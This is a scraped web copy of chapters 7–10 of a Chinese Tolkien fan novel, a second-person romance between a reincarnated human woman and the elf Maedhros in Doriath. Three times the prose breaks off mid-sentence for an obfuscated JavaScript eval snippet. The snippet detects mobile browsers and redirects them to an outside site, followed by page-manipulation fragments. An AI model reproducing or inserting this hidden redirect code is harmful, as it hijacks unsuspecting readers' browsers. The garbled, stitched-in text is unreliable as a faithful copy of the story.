《在中土强取豪夺的日子[魔戒]》 7. 第 7 章 小木屋的面积不大,但内部的家具一应俱全,颇有麻雀虽小肝胆俱全的感觉,玛格洛尔在这个小木屋里转了一圈,房间里的两张床铺让他确定住在这个小木屋里的肯定不止他的哥哥迈兹洛斯一个。 也就是说那个帮助解救他的精灵很可能也在这里,这是玛格洛尔初步得出的结论。 他的眼睛微微眯起,视线落在某处,俯身,伸出手,手指捻着两根头发,红与黑的发丝交缠,其中火红色的发丝显然是他哥哥的,至于那根漆黑的发丝……玛格洛尔若有所思地盯着那根头发看了很久,他还没有厉害到可以通过头发来确认那位好心精灵的身份。 过了几秒他又站直身体,他的兄长和另外一位精灵肯定撤退得很紧急,因为他们留下了很多东西,而且玛格洛尔也可以从现场的蛛丝马迹中看出当时的场面有多混乱。 不幸中的万幸是他的哥哥应该顺利逃跑了,并且还避开了,半兽人的攻击,因为他刚才在这棵树附近都没怎么看到打斗过的痕迹,只有半兽人践踏花草的足迹,还有座狼用利爪在树干上刻下的爪印。 玛格洛尔回过头,透过小木屋的门口看向屋外,此时天空中的星辰也变得黯淡,时间已经来到傍晚,临近夜晚的时间点。 与此同时望向天空的不止玛格洛尔一个,还有你,你在来到这个世界以后就察觉到了有些奇怪的地方,那就是你没见过太阳,这话说得你好像是吸血鬼似的,但你确实没见过太阳,你一抬头只能看见悬挂在天空中的星辰,起到了太阳平替版的作用。 这片大陆上也存在日与夜的区别,但怎么说呢,平替版毕竟是平替版,日夜的分界线也没有那么明显,就比如说现在你知道时间已经是傍晚即将入夜,但天空中闪烁着的星辰光芒让你对夜晚都没有太多的实感。 而且你刚刚才发现好像只有安格班附近的夜空是漆黑的,一来到多瑞亚斯,夜空那叫一个星光璀璨。 懂了,魔苟斯的地盘就跟工业园区似的,天天排放这么多的有毒气体,难怪搞得上空那叫一个乌烟瘴气。 此时的你和迈兹洛斯正在前往觐见那位精灵王的路上,灰精灵看似不苟言笑,其实你问什么他们就回答什么,一问一答配合得很。 这个世界太庞大,精灵的故事又太复杂,哪怕有迈兹洛斯给你补课,你对精灵的历史了解也不算多。 不是你不够刻苦,而是这些精灵都太能活了,年龄都是四位数起步,三位数都算是未成年。 试想一下,四位数的年纪能发生多少事情呢?那必然会发生很多事情的啊。 其中一个灰精灵在与你聊天的时候问道:“你真的是精灵吗?为什么长得和我们有些不一样呢?而且和诺多精灵也不太一样。” 你说:“因为我是有残缺的精灵呀,抱歉让你们看到我残缺的一面了。”你说谎都不打草稿的,张嘴就来,眼前的灰精灵嘴巴张合,一下子没说上话来,估计他半夜醒来都会质问自己为什么要问你这个问题的吧。 你见好就收,哈哈一笑,说:“我开玩笑的,其实我不是残缺的精灵,我压根就不是精灵。” 灰精灵睁大眼睛,说:“就算你的身体有残缺,你也不能否认自己的精灵身份吧?” 他好像误会了,你摊手,说:“我说的都是实话啊,我确实不是精灵,是人类哦。” 这话让灰精灵更加惊讶了,毕竟也不是所有精灵都见过人类的,倒不如说在这个时间节点的精灵能见到人类才奇怪呢。 “人类?就是在传说中会在精灵之后醒来的次生儿女人类?” 哇,居然还经常出现在传说中吗?听起来好像还挺酷的样子,你点点头,说:“差不多就是这样的。” 看你和多瑞亚斯的灰精灵相谈甚欢,迈兹洛斯忍不住多看了你几眼,但你一时半会都没有感知到他的目光,最后还是那个灰精灵说:“你的同伴好像在看你,他是有什么话要对你说吗?” 被他这么一提醒你才侧过头看向迈兹洛斯,后者浅笑了一下,那笑容转瞬即逝,就像是和你对话的前摇,他说:“抱歉,我并非有意打断你们的对话。” 真的并非有意吗? 你又不是迟钝的木头,再怎么说你上辈子也是个高度社会化的上班族,高度社会化的意思指的是你能看懂周围同事还有上司的微表情,你也正是凭借着这一技能在职场上有惊无险地熬过了好几年。 言归正传,你就是看懂了迈兹洛斯现在的小心思,你甚至比他自身还要先一步猜透他的想法,就在迈兹洛斯还在疑惑自己为什么会突然打断你们的时候,你就已经主动握住他的手,笑眯眯地说:“是我该向你说道歉才对,我刚才光顾着和别的精灵聊天都忘了顾及到你的感受。” 听见你用直白又直接的话语将他内心的想法说出来,迈兹洛斯多少有点不自在,他蹙眉,但是眉头很快又舒展开来,因为你与他四目相对,你亮晶晶的双眼里只倒映出他的面容。 他听见自己的声音在说:“那我也不需要你的道歉,你也没做错什么。” 全程围观你们对话的灰精灵缓缓打出一个问号,所以是他做错了吗? 你和迈兹洛斯维持着轻松愉快的气氛一直到精灵宫殿的大门口。 精灵宫殿比你想的气派多了,那叫一个金碧辉煌,光是那扇大门就布满精致繁复的雕刻花纹,那扇门对你们缓缓打开,你也得以窥见那门后更加富丽堂皇的内部装饰,你被惊艳得一时半会都没说出话来。 迈兹洛斯将你震惊的神情收入眼底,他原本想告诉你这远不及维林诺半分,但是他忽然想到自己或许是再难以回到维林诺,哪怕真的回去了,他犯下的错误也只能让他的灵魂停留在曼督斯的殿堂里等待维拉的审判。 于是他将这些话都咽了下去,只是勉强地对你笑了一下。 穿过漫长的长廊,又走过一道又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846646|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一道的门,你已经从一开始的被金碧辉煌的宫殿惊讶到转变为有些不耐烦。 说真的,这条路还得要走多久啊?真是漫无尽头啊,他们这些精灵生活在这么宽敞的宫殿里真的不会觉得麻烦吗?而且这个世界也不存在什么平衡车这一类的代步工具吧?那就只能靠双腿走了啊。 想到这里你就开始佩服那些精灵。 终于,穿过最后一道门,你终于来到宫殿的主殿,也终于见到了坐在王座上的辛葛王。 不同种族的精灵之间也会存在外貌上的差别,这位名叫辛葛的精灵王给你的感觉就和诺多精灵截然不同,看似平和,但也只是看起来而已,他还是拥有君主的威严的,尽管你并不吃这一套。 辛葛居高临下地俯视你,你也不是愣头青,当然知道要行礼,就是你毕竟不是精灵土著,行的礼也是奇奇怪怪的,但你的敬意确实传达到了,所以辛葛也没有太过追究。 更何况他还有其他事情想要好好了解,他说:“迈兹洛斯,费艾诺之子,你的气度与你的祖父芬威有几分像。”这种都是无趣的开场白,作用就是铺垫,你都猜到了辛葛真正想问的还在后头呢。 果不其然地,他的下一句话就是:“所以你们来到这里究竟是因为什么?你肯定是有所隐瞒的吧?” 坐在辛葛身边的王后美丽安伸出手搭着他的手臂,像是在无声地提醒他言辞不要太尖锐。 迈兹洛斯说:“请原谅我之前的隐瞒,我的本意绝非欺骗您,只是情况紧急——” “我很好奇你身边的那一位又是谁?你的手下?就是她将你从魔苟斯的魔爪下解救的吗?”辛葛突然将话题引到你身上。 好吧,你有点不怎么喜欢辛葛了,因为他的态度里总是掺杂着一丝丝若有若无的傲慢。 当土皇帝了不起啊? 好像确实挺了不起的。 唉,人在屋檐下不得不低头,莫欺少年穷,三十年河东三十年河西,你在心里给自己加油鼓劲。 你说:“我的名字是苏尔,不是迈兹洛斯的手下,我只是一个人类。” 此话一出,辛葛的态度都变得耐人寻味,但唯一不变的是他那份骄傲,他说:“人类?” “没错,就是伊露维塔的次生儿女——人类。”这话你听得太多都已经学会抢答了。 辛葛若有所思,说:“我之前从未听说过人类也已经苏醒。” 那他没听说过的事情可多了去了,这个世界的信息有多闭塞你大概能了解到,所以你也不指望眼前这个精灵王消息有多灵通了。 倒是他身边的那位女士让你心生好感,因为她看上去就很好说话,而且也更加通情达理(没有说辛葛胡搅蛮缠的意思)。 美丽安对你笑了一下,她的笑容是浅淡而柔和的,她说:“现在第一位人类已经出现在我们面前,而且她还是一位勇士。” 瞧瞧她多会说话啊。 8. 第 8 章 在美丽安的调解下,现场的气氛趋于缓和,她说:“那么苏尔小姐,我想你可能也会对这里感到好奇,我衷心希望你们能够在这里度过愉快的时光。” 要你说辛葛王就应该多和他的妻子学一学什么叫做说话的艺术,你再次对美丽安行了个不伦不类的礼,她就让你和迈兹洛斯先去往自己的房间修整一番,迈兹洛斯不比 你多熟悉这里,所以你们还需要一个灰精灵帮着带路。 没错,就是先前和你相谈甚欢的灰精灵,你对他印象深刻不光是因为他说话有趣,更是因为他的名字叫做梅林。 在这种魔幻世界里叫这个名字的精灵总给你一种不简单的感觉,你更是不止一次询问梅林会不会魔法,他说精灵的魔法也许和你所想的魔法存在偏差,简单来说就是你们谈论的魔法压根不是同一个东西。 你想象的魔法是挥舞魔杖甩魔咒,但他们所说的魔法更像是借助自然的力量。 行吧,这个世界的力量体系你还不是很清楚。 梅林带你们走到那两间客房前,精灵的房子成功地做到了和自然和谐共处,你指的是一推开窗就能看见窗外的瀑布还有葱葱郁郁的森林,你都不敢想象这里的空气质量有多好。 而且房间配有完善的通风系统,就连温度也一直保持在最适宜的室温,后来你听梅林说这都是王后美丽安的魔法。 懂了,美丽安是中央空调。 开个玩笑的,你还是很喜欢美丽安的。 尤其是在你住进来以后她就时不时地来看你,而且每次来看你都不会两手空空,搞得好像你才是主人家她是来做客似的。 但试问有谁会讨厌一个经常带礼物过来,而且还总是和颜悦色的朋友呢? 反正你是不会讨厌的。 才住进来没几天你的衣柜里就装满了美丽安送你的衣服,风格都很华丽,属于那种你要是穿着还得要提着裙摆否则分分钟化身扫地机的长裙,这些长裙的布料有点像是蚕丝,但是没有蚕丝那么容易勾丝,而且还非常透气,总之穿在身上非常保暖。 你之前的好几套衣服都是迈兹洛斯给你做的,毕竟你来到这个世界的时候系统也不知道送你个新手大礼包,反正你身上只有一套初始的套装,要是放在冒险游戏里那就是毫无属性加成的一套衣服,外加一个漆黑的斗篷。 现在你看着这满满一柜子的衣服,五颜六色的,但最多的颜色还是白色,你感觉自己在玩那什么的奇迹〇暖。 换上一条浅蓝色的长裙,那裙子还是渐变色的,从腰部开始逐渐加深颜色,最后的裙摆呈现出海水深处的暗蓝色,伴随着你走路的动作就如同海水在流动。 要你说生活在多瑞亚斯的精灵实在是悠闲,真正实现了上二休五,甚至有的是上一休六,这样平和安逸的生活也使得灰精灵更加随和乐观的性格。 当然随和是一回事,打起半兽人来就是另外一回事了。 物资丰饶到让你觉得精灵似乎已经实现了共产,但是君主的存在又让你觉得有些割裂。 像是一边封建一边共产。 算了,你都已经绑定恋爱系统了,就不细究这些了。 你在多瑞亚斯生活得那叫一个乐不思蜀,你都快要忘了自己好像已经答应了迈兹洛斯日后会去希斯路姆。 正所谓由俭入奢易啊。 辛葛王偶尔也会邀请迈兹洛斯去他的书房一聚,每次迈兹洛斯回来的时候都会面色微妙,你算是发现了,他应该是对你隐瞒了什么,要是能够说开的话或许你们的关系也会有所进展。 你上次看过他的好感度了,卡在70一动不动的。 唉,一动不动是王八啊! 所以你得要借助一点契机来推进好感度增加,眼下就有一个好机会摆在你面前,趁着迈兹洛斯再一次从辛葛的书房回来,还没等他回到自己的房间你就拦住他的去路,表情严肃地说:“我们得要好好谈一谈。” 你确信自己的表情很严肃,因为迈兹洛斯都顿了顿,他说:“你要和我谈什么?” 谈恋爱,啊不是,是谈谈他到底藏了什么秘密。 这精灵真能藏啊,瞒着好多秘密都没告诉你吧。 你说:“你知道我要和你谈什么的。”你装模作样地诈他一下,这都不是钩直饵咸的程度了,这就是明晃晃地在钓鱼。 老实巴交的精灵小伙就这样上钩了,他说:“也是……你那么聪明肯定能猜到一些的。” 你欣然收下他对你的夸奖,紧接着他就又握住你的手,指腹摩挲你的手腕内侧,说:“我其实并没有你想的那么好。” 这是什么坦白的前摇吗? 站在长廊上聊这些也不怕被其他八卦的灰精灵听见啊?你反握住他的手,把他往你的房间方向带去,没有任何反抗意思的迈兹洛斯任由你带着他去往你的房间。 关上门,现在这个场合才适合说些严肃的话题,你说:“好了,现在你可以继续往下说了。” 迈兹洛斯叹息一口气,然后就开始和你诉说他偏执的爹,无奈的妈,还需照顾的弟弟和破碎的他。 听得你一愣一愣地,心说你们精灵怎么也有原生家庭的问题啊? 你短暂的沉默被迈兹洛斯误解成另外一层意思,他说:“或许我不该和你说这些的,这只会让你平添烦恼,我们只是朋友,是我越界了。” 这一套丝滑的小连招下来你都要怀疑面前的不是精灵而是男公关了。 还好不需要开香槟塔就能继续往下聊。 你说:“没有,我很高兴你和我说这些。”你大概捋了一下,原来他的父亲费艾诺还有两个同父异母的弟弟,他父亲和这两个弟弟关系不能说是水火不容吧,只能说是放在一块勉强不会打起来的关系,而真正令迈兹洛斯感到痛苦的是他当初没有违抗自己父亲的命令,这才使得自己的堂弟受难。 如果抛开精灵的设定 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这样想着的你就要点开好感度面板,而就在这时迈兹洛斯说:“我也希望我们的心意是相同的。” 你点开好感度面板一看,卡在平台期好久的好感度总算是动了动,增加的好感度还真不少,直接从70到80,你嗯嗯点头说当然啦。 抬起头,你觉得此时的气氛不错,很适合亲吻,但愿他不要像上次那样害羞,就在你准备付诸实践的时候,迈兹洛斯又问:“可是你这些天好像和那个灰精灵相处得很好。” 不是吧哥们,气氛这么好的时候不要说煞风景的话啊,还打不打啵了啊? 面对这种问题要是直接否认反而会将主动权给交出去,所以你转而反问:“这里有那么多的灰精灵,你说的又是哪一个?” “如果你希望我直接说出他的名字的话,好的,那就是格林。” 你又向他靠近一点,低头亲吻他的手背还有手指,你说:“我很抱歉让你产生这种猜疑,我以为我们之间本该是亲密无间的。” 你呼出的气息掠过他的手背,温热的,轻飘飘的,让迈兹洛斯的心也跟着悬了起来,被你亲吻过的手背仿佛还残留着你的嘴唇的触感。 他说:“我……那我也不该怀疑你的。”他的脸上浮现出愧疚的神色。 看吧,这不还是达到你想要的效果了,你笑盈盈哒用手指绕着一缕他的红发,还能嗅闻到上面的草本植物香味,混着淡淡的果香,而后你说:“所以现在可以亲吻吗?” 迈兹洛斯说:“我以为这会是我提出的请求。” 行吧,那你撤回自己刚才说的那句话不就行了,你说:“好啊,那就换你说吧。” 迈兹洛斯用无声的行动来替代他想说的话。 他的亲吻有点像是小动物之间表达喜爱的单纯贴贴。 太单纯了,你得好好教教他才行。 9. 第 9 章 你上辈子曾听自己的大学室友说过亲吻的时候时间的流速都比平常快许多,你没有过这种体会,所以也只是听过就算过,但现在你确实感知到了时间飞逝。 只是接个吻而已你感觉就切身体会到什么叫做时间相对论了。 不同于马上调整好心情的你,迈兹洛斯看起来还有点没缓过来,你在他面前打了个响指,他这才缓慢地眨了一下眼睛,思绪回笼,他又听见你说:“感觉如何?” 和他想的有些不一样,他是说你为什么显得那么游刃有余呢?就像是尝试过了许多似的,他倒也不是在怀疑你的意思,只是略带疑惑,他说:“你不会感到紧张吗?” 你很配合地说:“当然,我的内心万分紧张,只不过没有表现出来而已,要是你能听见我心里的声音,肯定会惊讶于我有多忐忑不安。” 谎言你是张嘴就来,说谎都不打草稿的,脸不红心不跳的。 迈兹洛斯总觉得你们之间对于紧张的概念也有所不同。 但是,刚才的吻不应该用紧张来概括,更多的是青涩的甜蜜。 是的,青涩,他自认为自己也是个成熟的精灵了,尤其是他的父亲在星下之战不幸死去后,诺多至高王的头衔连带着责任也一并转交到他的身上,更别提他还有六个弟弟了,无论是身为兄长还是身为君主,他都该时刻保持成熟稳重的姿态。 只不过现在他的子民不在这里,他的弟弟也不在场,所以或许他可以短暂地卸下这有些沉重的头衔,回到维林诺时期,变回还是精灵王子的自己,只是短暂的片刻就好。 你不懂迈兹洛斯心里的弯弯绕绕,你只知道自己刚才的举动又增加了一点好感度,这样下去你要不了多久就能刷满好感度了吧,嗯,按照你的计划,单纯只是刷好感度攻略对象未免也太单一了一点,你都转生到异世界了,如果不胡作非为,啊不是,是为所欲为的话,总觉得好像亏了一点。 所以你都想好了,将迈兹洛斯那几个弟弟的好感度刷到一定数值以后就去其他地方看看,你听美丽安的意思好像在不久以后的未来人类也会陆陆续续地苏醒,到时候这个世界会变得更加有趣的。 你心里的算盘打得噼里啪啦作响,面上却是一副滴水不漏的神情。 迈兹洛斯看向你放在梳妆台上的妆奁,还有没关严实的衣柜,默默地将你的喜好都记在心里,等回到希斯路姆他会送上更好的珠宝首饰还有衣服。 和他谈心的好处就是他在你面前的话变得更多了,他说话也更加直率,他说:“我不怎么喜欢那个叫做梅林的灰精灵。” 说得有够直接的。 你很委婉地提醒他你们现在还在灰精灵的地盘上。 就算迈兹洛斯在你面前一直以温和的姿态示人,但他也毕竟是费艾诺的孩子,流淌着诺多的血液,在不经意间也会透露出几分骄傲,但这样的骄傲你倒是不讨厌,可能是因为你刚刚亲吻过他吧,你甚至还觉得有点可爱。 他说:“以后我们会住在诺多精灵的地盘上,宫殿会按照你的喜好来装饰,宴会也会由你的心意来布置。” 这话说得,感觉你要变成他们诺多精灵的室内装修师傅和宴会场地布置人员了。 行了,还是别画大饼了吧,你又对迈兹洛斯说:“但他们也帮助了我们,所以我对他们也心怀感激。” 迈兹洛斯若有所思地问道:“你说这些是在为梅林开脱吗?” 你双手环胸,“你的喜爱不能成为我正常交友的阻碍啊,难不成你们诺多精灵都是这样小气的吗?想想你的母亲奈丹尼尔,她难不成也是一直围着你的父亲打转的吗?” 迈兹洛斯想起曾经热恋过但最后关系变得冷淡生疏的双亲,他不想步入他们的后尘,但爱情对于他来说又是太难以捉摸,虚无缥缈的东西,他说:“抱歉。” “我无意让你伤心,是命运让我们相遇,我很珍惜我们的感情,但我同样不希望你干涉我的决定。” 占有欲太强这种坏习惯当然是要从一开始就掐灭苗头,你可不希望以后你做点什么都被他碎碎念个不停。 这些话相当于是给迈兹洛斯打预防针了。 预防针的效果不错,你转头就高高兴兴地去找梅林了,要说你有多喜欢梅林,那显然是还没到恋人之间的喜欢,顶多就是觉得好玩而已,因为梅林不光是管理多瑞亚斯边境的士兵,而且他还是个养蜂人,不对,是养蜂精灵,而且他养蜜蜂的方法也和你上辈子了解到的有些不同。 他会站在花海里吹着长笛,周围的蜜蜂伴随着那舒缓的音乐在花丛中流淌着,而且得益于精灵自带的亲和属性,那些蜜蜂也不会伤害他,甚至采蜜采得累了就停在他的肩头休息一会,看得出来精灵和蜜蜂之间的关系很好。 但你一来就打乱了音乐的节奏,害得蜜蜂又开始乱窜,甚至还差点攻击到你,还好你没有慌乱逃跑,你任由那几只蜜蜂停在自己的手背还有胳膊上,像是在确认你的危险性,排除被你伤害的可能后那些蜜蜂也安心地继续跟着音乐起舞。 “大魔法师你好啊。”你笑着对梅林说,后者放下长笛,那些蜜蜂又陆陆续续地飞进花丛里继续采蜜,只留下你和梅林面面相觑,你说:“看来我来的不是时候?” “没有,这个曲子本来就接近了尾声,你来得正好。”梅林说着,收起长笛,又问,“今天你没有和那位殿下待在一起吗?” “我是被音乐声吸引来的,至于迈兹洛斯,他还有别的事情要处理。”迈兹洛斯在昨天收到了玛格洛尔的消息,似乎是通过流水传递的消息,反正他们精灵之间的消息传播手段五花八门,听说有的精灵甚至可以通过火焰传递情报。 迈兹洛斯在和自己的弟弟玛格洛尔取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846648|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得联系后就告诉对方你们的位置,玛格洛尔表示自己会尽快赶来的。 但此时的玛格洛尔也还在来的路上,老实说你对迈兹洛斯的弟弟确实很好奇,听说他们兄弟俩的感情很好,迈兹洛斯也经常和你说起玛格洛尔过去的趣事,因此虽然你此时还没见过那位名叫玛格洛尔的精灵,但你已经对他了解许多,比如说他小时候因为打雷跑去双亲的房间,又比如说第一次学钓鱼结果被水里的大鱼扯着鱼线反过来掉进水里。 玛格洛尔还是再不出现,你可能要把他小时候的趣事全都听完了。 言归正传,你知道自己不会在多瑞亚斯停留太久,估计等玛格洛尔和迈兹洛斯汇合以后你们就要离开这里,你想着之后的打算。 梅林又说:“最近的花蜜很甜,你要尝尝吗?” 你选择和梅林打交道也是因为他很健谈,在不知不觉间就让你了解到多瑞亚斯的内部情况,有的时候你也会觉得这些精灵太过单纯,但或许他们的本性就是如此。 你接过一个小蜜罐,里面还放着一个小木勺,你挖了一勺蜂蜜送进嘴里,味道清甜,比你上辈子吃过的任何一种蜂蜜都要美味,天然的蜂蜜不算太粘稠,你的唇齿间很快弥漫着花香还有不腻的甜味。 “怎么样?你是第一个品尝多瑞亚斯蜂蜜的人类,味道如何?”梅林问道。 “如果我是吟游诗人,那么我会专门写一首关于多瑞亚斯蜂蜜的歌谣好让以后的人类知道这世上还有这等美味。”但很可惜你的文采顶多只支撑你写一两首打油诗。 梅林大大方方地收下你的赞美。 就在你和梅林有一搭没一搭地聊着的时候,另外一边的迈兹洛斯也见到了王后美丽安,后者对迈兹洛斯说:“我感应到了你的手足正在朝着多瑞亚斯靠近,看样子你们不日就要离开这里了对吗?” “是的,非常感谢你和辛葛王这段时间的照顾。”迈兹洛斯微微俯身表示感谢。 “你倒不必那么感谢我们,毕竟这也是命运的安排。”美丽安走到明净的落地窗旁,她身为迈雅能够看到更加遥远的地方发生的事情,她看见了站在花海里的你,她说:“她是一位特殊的人类。” “您都看到了什么?”迈兹洛斯不由自主地使用起敬称,试图从美丽安那边获得一些关于你的预言。 美丽安说:“没什么,我只是看到她站在花海里。” “是么。” “不光是她,你也很勇敢。”美丽安没头没尾地转移话题,“人类和精灵的爱更加困难。”也更加痛苦。 迈兹洛斯可不是来听这种话的,既然他都已经下定决心了那么就算有再多的困难也不会阻挡他的脚步,他说:“我以前不太能够理解让其他精灵为之欢喜又为之落泪的爱情,但现在……” “我似乎开始慢慢地理解了。”他一字一顿地说。 10. 第 10 章 多瑞亚斯的天气并不总是风和日丽,尽管有迈雅美丽安的存在使得这里的气候四季如春,但是,长久的晴朗天气也会影响作物的生长,所以偶尔也会下几场雨。 前面铺垫了那么多,你想说的就是你一到下雨天就整个人都变得懒洋洋的,听说这也是和人类在农耕社会日出而作日落而息的生活模式有关,一到下雨天就没法种庄稼,所以只能待在家里休息打盹,而这个基因经历千百年最后还是被保留了下来。 下雨天适合睡大觉,你从午后开始睡觉,起初迈兹洛斯还以为你只是小憩一会而已,但到后来看你没有要醒来的迹象,他的内心也不免产生几分焦躁,他在你的身边坐下,先是伸出手探你的鼻息,再是试探你的脉搏。 确认你应该没什么事了才收回手,但也没有要走的意思,他伏在床沿,脑袋靠在自己屈起的手臂上,蓬松柔顺的红色长发披散在你的手边,如同静静流淌着的暗红色岩浆,但这样的岩浆不会灼伤你,只会温柔地包裹着你。 你陷入沉睡的侧脸微微泛红,白皙的皮肤透着红,不由地让他联想到即将成熟的淡粉色桃子,当初维拉雅凡娜就在提利安城里种下许多果树,一到成熟的季节那些缀在枝头的果实就散发出浓郁的果香,吸引许多精灵围绕在果树下。 淡粉色的桃子从枝头摘下,咬下一口,丰富的汁水盈满唇齿,那样喜悦的心情,哪怕他此刻只是回忆,也能想起那甜蜜的香味。 此时的他好像在你身上嗅闻到了久违的属于果实甜蜜的香味。 有点想要咬你一口,只是有点。 喜欢怎么会演变成这种攻击的行为呢? 要是你现在是醒着的话,应该就能向他解释什么叫做可爱侵犯,但是很可惜你现在还在睡大觉,也不知道迈兹洛斯正安静地注视着你。 最终他抿了抿嘴唇,将刚才那个荒唐的念头压下去,克制着地低下头,最后在你手背还有手心留下一串连绵的,清浅的吻。 然后你就被这窸窸窣窣的动静,以及稍微有点痒的触感弄醒,你一睁开眼映入眼帘的是迈兹洛斯的侧影。 他是什么时候凑过来的?一声不吭地就趴在你的床边,更加像大型犬了啊。 再说一遍,犬塑是极好的。 你刚刚睡醒的声音还沾着点沙哑,你握住迈兹洛斯的手,他的手掌比你的宽大许多,而且体温也要高一点,你又捏了捏他的掌心,就像是在捏肉垫。 “你就不困吗?”你问道,你只是中途醒了一下,没有要起床的意思,因为你觉得自己还能继续睡下一轮。 迈兹洛斯说:“还好吧。” 他既这么说,又没有要走的迹象,你可不想浪费睡觉的时间和他闲聊啊,于是你挪动自己的身体,挪出一个空位,然后拍拍那块空出来的地方,“上来吗?” 但你还是低估了他的体型,他一上来就紧紧地挨着你,刚才对你来说还很宽敞的大床登时变得拥挤。 嗯……稍微有点后悔让他上来了,迈兹洛斯心思细腻地问道:“你不喜欢吗?” “啊,只是没想到你的体积原来这么大。”下一波睡意来袭,你上一秒还在和迈兹洛斯说话,下一秒就直接入睡。 等你再醒来的时候你也不太确定现在到底是什么时候,毕竟窗外一片昏暗,侧躺在你身边的迈兹洛斯自然而然地环抱着你,手臂搭在你的侧腰,没什么实质感,倒是他的头发都蹭了过来,还有好几缕头发滑到你的衣领里,你一动,发丝也跟着一块动。 现在换你等迈兹洛斯睡醒了,百无聊赖的你索性侧过头去观察他,看他的眉眼,虽然是眉压眼,但在睡梦中他的眉头也舒展开来,呼出的气息是浅浅的。 就在你想要再摸一摸他的耳朵尖尖的时候,他有所感应地睁开眼睛。 不是吧,偏偏在这时候醒过来?该不会是故意的吧?你的手停在半空中,迈兹洛斯问道:“你要做什么?” 你直言不讳,“捏你的耳朵。” 迈兹洛斯是个大方的精灵,他微微低下头,侧脸贴着你的脸颊,这是一个有点像在撒娇的姿势。 你觉得他就是在撒娇。 他伏在你的耳边说:“可以。” 答应得那么爽快你都没什么成就感了啊,所以你只是有点敷衍地捏了一下,就跟走过场似的,然后就收手了。 睡得太久也没好处,睡到后面脑袋就会开始隐隐作痛,所以你正式打算起床了,你撑起自己的上半身盘腿坐着,你坐在床沿,思索着现在到底是什么时间,你都睡糊涂了。 迈兹洛斯也随之坐起来,从你身后拥抱住你。 他好像比你想的还要喜欢肢体接触,你半开玩笑地说:“诺多精灵都像你这样喜欢拥抱的吗?” 实则不然,精灵只会对亲近的精灵那么热情,而且拥抱和拥抱之间也存在区别,有朋友之间的拥抱,还有恋人之间的拥抱,现在就属于后者,他说:“没有,只是对待喜欢的人,精灵都会想要拥抱的。” 你记得当初你在前往安格班解救迈兹洛斯的路上不靠谱的系统曾经和你说按照吊桥效应,在这种情况下解救对方,一见钟情的几率很高,但因为系统总是说些没用的废话,所以你也没有把它这话放在心上。 但是结合现在的情况,你顿时发现还真是被系统给说中了,这大概就是吊桥效应导致的一见钟情,难怪他对你的好感度一上来就有50呢。 你耐着性子让他拥抱着你,垂在半空中的小腿一前一后地摇晃着,过了一会,你肚子有点饿了。 果然睡了太久醒来以后就会感到饥饿,你的肚子在咕噜噜地叫个不停,迈兹洛斯低声和你道歉,实际上他并不是那种总是会向对方说道歉的精灵,他的骨子里还带着一些源自父亲费艾诺的骄傲,但是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846649|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对你的时候,他好像经常说抱歉。 抱歉拥抱你太久,抱歉总是盯着你看,抱歉差点就要咬你一口,有太多需要抱歉的事情了。 “我现在需要的是吃东西,可不是听你说抱歉。”说完这话你就又侧过头飞快地亲了一下他的侧脸,旋即离开他的怀抱,就像是一只快活的雀鸟飞离他的拥抱。 睡过头的后果就是错过了晚餐,但是没关系,精灵宫殿的厨房还有一些食材可以做夜宵,你牵着迈兹洛斯的手来到厨房,打开灯,这些灯当然不是电灯,而是可以控制光芒的宝石。 哈哈没错,多瑞亚斯的精灵就是这么财大气粗,照明用的都是宝石,听起来就很奢华。 悬挂在厨房天花板中央的主灯由四颗椭圆形的白色宝石组成,周围还点缀了一圈橙黄色的小宝石,这样一来散发的光芒就是暖黄色的,被暖调光线笼罩着的厨房充满了温馨的气氛。 迈兹洛斯问你晚餐想要吃什么,你说清淡一点就好,他便开始准备蔬菜汤,厨房的炉子就没有熄灭过,现在里头还烧着火,你往炉子下面添了点柴火,又看到迈兹洛斯转身开始揉面团,柔软的面团在他的手里形状逐渐变得圆乎乎的,最后变成非常标准的圆形。 然后他又将面团摊开,变成一个圆饼的形状,接着往上面涂抹番茄酱,红艳艳的番茄酱均匀地涂抹在表面,他又用磨具将整块的奶酪磨成碎屑,一场奶酪毛毛雨就降落红色的面饼上。 手法娴熟得让你以为自己误入了什么意大利美食节目。 最后他又将洒满了奶酪和肉片的面饼送进炉子里,你说:“你以前也经常那么做吗?” “嗯,这是我的父亲教给我们的。”为了方便揉面,他刚才将自己的长发扎起来,露出一截白皙的后颈。 噢……原来是家族传统啊。 “你有考虑过往上面放点水果什么的吗?” 闻言,迈兹洛斯不自觉地皱眉,“什么?”他像是有些不太明白你为什么会这么说。 “哈哈——没什么。”你看到他这幅样子就觉得好笑,你摆摆手,说,“忘掉我刚才说的话吧。” 